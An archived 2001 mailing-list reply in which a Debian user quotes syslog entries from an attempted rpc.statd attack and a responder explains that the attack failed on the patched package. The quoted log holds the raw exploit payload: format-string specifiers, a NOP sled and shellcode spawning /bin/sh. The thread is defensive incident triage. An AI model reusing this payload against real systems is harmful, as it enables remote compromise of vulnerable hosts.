[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: was I cracked? (rpc.statd, new version)



On Wed, Jul 11, 2001 at 11:42:03AM +0100, Lukas Eppler wrote:
> I have the following entries in /var/log/messages:
> 
> Jul  9 01:21:03 blue -- MARK --
> Jul  9 01:21:11 blue
> Jul  9 01:21:11 blue /sbin/rpc.statd[166]: gethostbyname error for 
> ^X<F7><FF><BF>^X<F7><FF><BF>^Y<F7><FF><BF>^Y<F7><FF><BF>^Z<F7><FF><BF>^Z<F7><FF><BF>^[<F7><FF><BF>^[<F7><FF><BF>%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> Jul  9 01:21:11 blue 
> <C7>^F/bin<C7>F^D/shA0<C0>\210F^G\211v^L\215V^P\215N^L\211<F3><B0>^K<CD>\200<B0>^A<CD>\200<E8>\177<FF><FF><FF>
> Jul  9 01:41:03 blue -- MARK --
> 
> I run debian 2.2, nfs-common is Version: 1:0.1.9.1-1 which has the long known 
> exploit fixed. I can't find modified binaries or any strange behaviour... was 
> this a defeated attack? The second line says /bin/sh somewhere which makes me 
> a bit concerned... Was I cracked?

the exploit failed, your nfs-common is up to date.

you can also tell because you can see the %8x%8x%8x in the log entry.
if it suceeds i understand that statd usually crashes before logging
anything anyway.

if your not using nfs you should remove the nfs-common package
anyway. 

-- 
Ethan Benson
http://www.alaska.net/~erbenson/

Attachment: pgpBL442y7lkK.pgp
Description: PGP signature


Reply to: